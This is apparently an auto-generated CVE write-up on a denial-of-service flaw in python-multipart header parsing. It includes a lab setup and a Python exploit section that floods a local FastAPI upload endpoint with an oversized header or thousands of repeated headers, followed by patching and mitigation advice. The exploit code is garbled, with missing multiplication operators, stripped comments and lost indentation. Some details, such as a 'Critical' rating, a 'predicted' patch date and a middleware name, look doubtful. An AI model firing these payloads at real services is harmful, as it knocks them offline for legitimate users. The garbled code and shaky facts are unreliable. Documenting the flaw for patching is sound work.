Listen to this Post
How the CVE Works
The vulnerability exists in `MultipartParser` while parsing multipart/form-data part headers. The parser enters states like HEADER_FIELD_START, HEADER_FIELD, HEADER_VALUE_START, HEADER_VALUE, and HEADER_VALUE_ALMOST_DONE. Prior to fixing, there were no default limits on the number of part headers or the size of an individual header value.
An attacker can send a malicious multipart request in two ways:
1. Many repeated headers – A single multipart part contains hundreds or thousands of header lines without terminating the header block. The parser processes each header field and value sequentially, consuming excessive CPU cycles before reaching the end of headers or hitting a timeout.
2. Single oversized header – A header value (e.g., `Content-Disposition` or a custom field) is crafted to be extremely large, e.g., tens of megabytes. The parser reads this value character by character while staying in the `HEADER_VALUE` state, causing prolonged CPU work until the complete header is read or the request is rejected.
Because the parser lacks limits, even with a request body size limit enforced at the server level, the header parsing occurs before that limit is fully evaluated. The CPU exhaustion can stall ASGI event loops in frameworks like Starlette or FastAPI, leading to denial of service for all concurrent requests. The fix introduces two configurable defaults: `MAX_HEADERS=128` (maximum number of part headers) and `MAX_HEADER_SIZE=8192` (maximum size per header).
DailyCVE Form:
Platform: Python
Version: <0.0.27
Vulnerability: DoS via headers
Severity: Critical
date: 2024-02-20
Prediction: Patch 2024-03-15
What Undercode Say:
Check installed version of python-multipart
pip show python-multipart | grep Version
Simulate a vulnerable environment (using version 0.0.26)
pip install python-multipart==0.0.26
Start a minimal FastAPI server (vulnerable)
cat > app.py <<EOF
from fastapi import FastAPI, UploadFile
app = FastAPI()
@app.post("/upload")
async def upload(file: UploadFile):
return {"filename": file.filename}
EOF
uvicorn app:app --reload
Monitor CPU usage during attack
top -p $(pgrep -f uvicorn)
Exploit:
Send an oversized multipart header (e.g., 100MB value for a custom header)
import requests
boundary = "-Boundary"
data = (
f"--{boundary}\r\n"
f"Content-Disposition: form-data; name=\"file\"; filename=\"a.txt\"\r\n"
f"X-Custom: {'A' 100_000_000}\r\n" 100 MB header value
f"\r\n"
f"dummy content\r\n"
f"--{boundary}--\r\n"
)
headers = {"Content-Type": f"multipart/form-data; boundary={boundary}"}
requests.post("http://localhost:8000/upload", data=data, headers=headers)
Alternative: thousands of headers
header_block = "X-Repeat: a\r\n" 50000
data = f"--{boundary}\r\n{header_block}\r\n--{boundary}--"
requests.post("http://localhost:8000/upload", data=data, headers=headers)
Protection from this CVE:
1. Upgrade to `python-multipart>=0.0.27`:
pip install --upgrade python-multipart
2. If upgrade not possible, apply request body size limits (mitigation only):
– In Nginx: `client_max_body_size 1M`
– In FastAPI/Starlette middleware: `add_middleware(RequestSizeLimitMiddleware, max_request_size=1_000_000)`
3. Add timeouts for request processing in ASGI servers:
uvicorn timeout (seconds) uvicorn app:app --timeout-keep-alive 5 --limit-max-requests 1000
4. Use a Web Application Firewall (WAF) to drop requests with abnormally many headers or oversized header values.
Impact:
- CPU exhaustion on the server, making it unresponsive to legitimate requests.
- ASGI event loop blocking – In single-threaded ASGI servers (e.g., Uvicorn with one worker), a single malicious upload can stall all concurrent connections.
- Cascading failures – If the service runs behind a proxy or load balancer, health checks may fail, leading to instance termination or traffic blackholing.
- No data breach – This is purely a denial-of-service vulnerability; it does not leak or alter data.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode

